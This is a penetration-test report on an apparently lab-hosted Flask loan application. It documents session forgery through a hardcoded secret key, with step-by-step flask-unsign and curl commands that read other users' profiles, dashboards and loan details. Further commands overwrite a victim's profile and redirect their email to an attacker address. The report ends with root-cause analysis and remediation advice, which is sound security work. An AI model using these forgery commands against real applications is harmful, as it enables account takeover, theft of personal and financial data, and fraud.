# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-02: Unauthorized Profile Modification via Session Forgery (CRITICAL)

**Summary:**
- **Vulnerable location:** POST /profile endpoint with session-based authorization
- **Overview:** Weak hardcoded Flask secret key (`'your_secret_key'`) enables session forgery, allowing attackers to forge arbitrary session cookies and modify any user's profile data including PII and financial information
- **Impact:** Complete account takeover capability - attackers can read and modify all user data, change victim's email to attacker-controlled address, tamper with financial records, and achieve full data integrity compromise
- **Severity:** CRITICAL

**Prerequisites:**
- Knowledge of weak Flask secret key: `'your_secret_key'` (hardcoded in application source)
- Installation of flask-unsign tool: `pip3 install flask-unsign`
- Target user ID (can enumerate from 1 upward or discover through reconnaissance)

**Exploitation Steps:**

1. **Install flask-unsign for session forgery:**
   ```bash
   pip3 install flask-unsign
   ```

2. **Forge session cookie for target user (user_id=1):**
   ```bash
   flask-unsign --sign --cookie "{'user_id': 1}" --secret 'your_secret_key'
   ```
   
   Expected output: `eyJ1c2VyX2lkIjoxfQ.aQLimA.Snoh7SDfw22m6mduwonkno5r_6M`

3. **Read victim's current profile data (reconnaissance):**
   ```bash
   curl -H "Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQLimA.Snoh7SDfw22m6mduwonkno5r_6M" \
        http://localhost:46413/profile
   ```
   
   Expected: HTTP 200 with profile form containing victim's name, email, and financial data

4. **Modify victim's profile with malicious data:**
   ```bash
   curl -X POST http://localhost:46413/profile \
        -H "Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQLimA.Snoh7SDfw22m6mduwonkno5r_6M" \
        -d "name=HACKED" \
        -d "lastname=BY_ATTACKER" \
        -d "email=attacker@malicious.com" \
        -d "loan_amount=999999.99" \
        -d "loan_term_months=1" \
        -d "monthly_payment=0.01"
   ```
   
   Expected: HTTP 302 redirect or HTTP 200 on success

5. **Verify unauthorized modification:**
   ```bash
   curl -H "Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQLimA.Snoh7SDfw22m6mduwonkno5r_6M" \
        http://localhost:46413/profile
   ```
   
   Expected: Profile form now contains attacker's modified values:
   - Name: `HACKED`
   - Lastname: `BY_ATTACKER`
   - Email: `attacker@malicious.com`
   - Loan Amount: `999999.99`

**Proof of Impact:**

Successfully modified user_id=1's profile data without authorization:

**Before exploitation:**
- Name: John
- Lastname: Doe
- Email: john@example.com
- Loan Amount: $10,000.00
- Monthly Payment: $212.47

**After exploitation:**
- Name: HACKED
- Lastname: BY_ATTACKER
- Email: attacker@malicious.com
- Loan Amount: $999,999.99
- Monthly Payment: $0.01

**Complete unauthorized write access achieved** - All profile fields successfully modified, including:
- ✓ Personal Identifiable Information (PII) tampering
- ✓ Financial data manipulation
- ✓ Email change to attacker-controlled address (account takeover vector)
- ✓ Data integrity compromise confirmed

**Notes:**
This is the highest severity authorization vulnerability due to write access. The attack enables:
1. **Account Takeover:** By changing the victim's email to an attacker-controlled address, the attacker can initiate password reset flows and permanently compromise the account
2. **Financial Record Tampering:** Loan amounts and payment schedules can be arbitrarily modified
3. **PII Manipulation:** Names and contact information can be changed, enabling identity fraud
4. **Mass User Compromise:** The attack can be scripted to enumerate and modify all user accounts sequentially

---

### AUTHZ-VULN-01: Unauthorized Profile Data Access via Session Forgery

**Summary:**
- **Vulnerable location:** GET /profile endpoint with session-based authorization
- **Overview:** Weak hardcoded Flask secret key enables session forgery, allowing attackers to access any user's complete profile data without authorization
- **Impact:** Complete PII and financial data disclosure - attackers can read all user profile information including names, email addresses, and loan details
- **Severity:** HIGH

**Prerequisites:**
- Knowledge of weak Flask secret key: `'your_secret_key'` (hardcoded in application source)
- Installation of flask-unsign tool: `pip3 install flask-unsign`
- Target user ID to enumerate

**Exploitation Steps:**

1. **Install flask-unsign for session forgery:**
   ```bash
   pip3 install flask-unsign
   ```

2. **Forge session cookie for target user (user_id=1):**
   ```bash
   flask-unsign --sign --cookie "{'user_id': 1}" --secret 'your_secret_key'
   ```
   
   Output: `eyJ1c2VyX2lkIjoxfQ.aQLimA.Snoh7SDfw22m6mduwonkno5r_6M`

3. **Access victim's profile data without authorization:**
   ```bash
   curl -H "Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQLimA.Snoh7SDfw22m6mduwonkno5r_6M" \
        http://localhost:46413/profile
   ```
   
   Expected: HTTP 200 response containing HTML profile form

4. **Extract sensitive data from response:**
   ```bash
   curl -s -H "Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQLimA.Snoh7SDfw22m6mduwonkno5r_6M" \
        http://localhost:46413/profile | grep 'value=' | head -6
   ```

**Proof of Impact:**

Successfully accessed user_id=1's complete profile without authorization:

**Exposed Personal Information:**
- Full Name: John Doe
- Email Address: john@example.com

**Exposed Financial Information:**
- Loan Amount: $10,000.00
- Loan Term: 60 months
- Monthly Payment: $212.47

**Data Classification:** All exposed data constitutes sensitive PII and financial information that should be protected under authorization controls. Unauthorized access enables:
- Identity theft preparation
- Targeted phishing attacks using victim's real data
- Financial profiling for fraud
- Reconnaissance for account takeover attacks

---

### AUTHZ-VULN-03: Unauthorized Dashboard Access via Session Forgery

**Summary:**
- **Vulnerable location:** GET /home endpoint with session-based authorization
- **Overview:** Session forgery via weak secret key allows unauthorized access to user dashboard pages containing personal and financial information
- **Impact:** PII and financial data disclosure through dashboard - attackers can view user welcome messages with full names and loan information summaries
- **Severity:** HIGH

**Prerequisites:**
- Knowledge of weak Flask secret key: `'your_secret_key'` (hardcoded in application source)
- Installation of flask-unsign tool: `pip3 install flask-unsign`
- Target user ID

**Exploitation Steps:**

1. **Install flask-unsign for session forgery:**
   ```bash
   pip3 install flask-unsign
   ```

2. **Forge session cookie for target user (user_id=1):**
   ```bash
   flask-unsign --sign --cookie "{'user_id': 1}" --secret 'your_secret_key'
   ```
   
   Output: `eyJ1c2VyX2lkIjoxfQ.aQLimA.Snoh7SDfw22m6mduwonkno5r_6M`

3. **Access victim's home dashboard without authorization:**
   ```bash
   curl -H "Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQLimA.Snoh7SDfw22m6mduwonkno5r_6M" \
        http://localhost:46413/home
   ```
   
   Expected: HTTP 200 response with HTML dashboard page

4. **Extract dashboard information:**
   ```bash
   curl -s -H "Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQLimA.Snoh7SDfw22m6mduwonkno5r_6M" \
        http://localhost:46413/home | grep -E "Welcome"
   ```

**Proof of Impact:**

Successfully accessed user_id=1's home dashboard without authorization:

**Exposed Information:**
- Welcome message: "Welcome John Doe!"
- User's full name displayed prominently
- Dashboard contains references to loan information
- Navigation menu showing available user functions

**Impact Assessment:**
While the dashboard may contain less detailed information than the profile page, it still exposes:
- User's full legal name (PII)
- Confirmation of account existence
- Dashboard layout and available features
- Entry point for further exploitation

The dashboard serves as a reconnaissance target for attackers planning account takeover or targeted attacks.

---

### AUTHZ-VULN-04: Unauthorized Loan Details Access via Session Forgery

**Summary:**
- **Vulnerable location:** GET /loan_details endpoint with session-based authorization
- **Overview:** Session forgery enables unauthorized access to detailed financial loan information
- **Impact:** Complete financial data disclosure - attackers can view loan amounts, terms, and payment schedules
- **Severity:** HIGH

**Prerequisites:**
- Knowledge of weak Flask secret key: `'your_secret_key'` (hardcoded in application source)
- Installation of flask-unsign tool: `pip3 install flask-unsign`
- Target user ID

**Exploitation Steps:**

1. **Install flask-unsign for session forgery:**
   ```bash
   pip3 install flask-unsign
   ```

2. **Forge session cookie for target user (user_id=1):**
   ```bash
   flask-unsign --sign --cookie "{'user_id': 1}" --secret 'your_secret_key'
   ```
   
   Output: `eyJ1c2VyX2lkIjoxfQ.aQLimA.Snoh7SDfw22m6mduwonkno5r_6M`

3. **Access victim's loan details without authorization:**
   ```bash
   curl -H "Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQLimA.Snoh7SDfw22m6mduwonkno5r_6M" \
        http://localhost:46413/loan_details
   ```
   
   Expected: HTTP 200 response with loan details page

4. **Extract financial data:**
   ```bash
   curl -s -H "Cookie: session=eyJ1c2VyX2lkIjoxfQ.aQLimA.Snoh7SDfw22m6mduwonkno5r_6M" \
        http://localhost:46413/loan_details | grep -E "10000|212.47|60"
   ```

**Proof of Impact:**

Successfully accessed user_id=1's complete loan financial data without authorization:

**Exposed Financial Information:**
- Loan Amount (Principal): $10,000.00
- Loan Term: 60 months
- Monthly Payment: $212.47

**Sensitivity Classification:**
This financial data enables:
- **Financial Profiling:** Complete understanding of victim's debt obligations
- **Identity Theft:** Loan details can be used to impersonate victim with creditors
- **Targeted Fraud:** Knowledge of payment amounts enables convincing phishing scenarios
- **Credit Fraud:** Loan information useful for opening fraudulent accounts

The loan details endpoint exposes a focused subset of financial data that is highly sensitive and valuable for financial fraud schemes.

---

## Summary of Authorization Vulnerabilities Exploited

### Root Cause Analysis

All four vulnerabilities stem from a **single architectural flaw**: the Flask application uses a hardcoded, weak secret key (`'your_secret_key'`) for session management. This enables trivial session forgery using tools like flask-unsign, completely bypassing all session-based authorization controls.

**Vulnerable Code Location:** `/app/website/app/__init__.py:8`
```python
app.secret_key = 'your_secret_key'  # Change this to a secure secret key
```

### Attack Chain

1. **Discover Weak Secret:** Attacker finds hardcoded secret key in source code or configuration files
2. **Forge Sessions:** Use flask-unsign to create valid session cookies with arbitrary user_id values
3. **Enumerate Users:** Test sequential user_id values (1, 2, 3...) to discover valid accounts
4. **Access Protected Resources:** Use forged sessions to access GET endpoints (profile, home, loan_details)
5. **Modify User Data:** Use forged sessions to POST malicious data to profile endpoint
6. **Complete Takeover:** Change victim's email address to attacker-controlled address

### Technical Details

**Session Cookie Format:** Flask uses itsdangerous library to sign session cookies with HMAC-SHA1
- Cookie structure: `base64(payload).timestamp.signature`
- With known secret key, signature can be forged for any payload
- No additional validation beyond signature verification

**Authorization Pattern (All Endpoints):**
```python
user_id = session.get('user_id')
if user_id:
    user = User.query.get(user_id)
    # Process request for this user
else:
    return redirect(url_for('login'))
```

The authorization logic trusts the session cookie implicitly without any additional validation of session authenticity, user ownership, or session freshness.

### Impact Summary

| Vulnerability ID | Endpoint | Access Type | Data Exposed | Severity |
|-----------------|----------|-------------|--------------|----------|
| AUTHZ-VULN-02 | POST /profile | Write | Full profile modification | CRITICAL |
| AUTHZ-VULN-01 | GET /profile | Read | PII + Financial data | HIGH |
| AUTHZ-VULN-03 | GET /home | Read | Dashboard PII | HIGH |
| AUTHZ-VULN-04 | GET /loan_details | Read | Financial data | HIGH |

**Total Impact:** Complete horizontal privilege escalation with read and write access to all user accounts. The application has no effective authorization controls when session forgery is possible.

---

## Recommendations

1. **Immediate:** Replace hardcoded secret key with cryptographically secure random value (32+ bytes)
2. **Short-term:** Implement additional session validation (user-agent fingerprinting, IP binding)
3. **Long-term:** Add object-level authorization checks beyond session validation
4. **Best Practice:** Use Flask-Login or similar library for robust session management
5. **Security:** Implement session timeout, regeneration on privilege changes, and secure cookie flags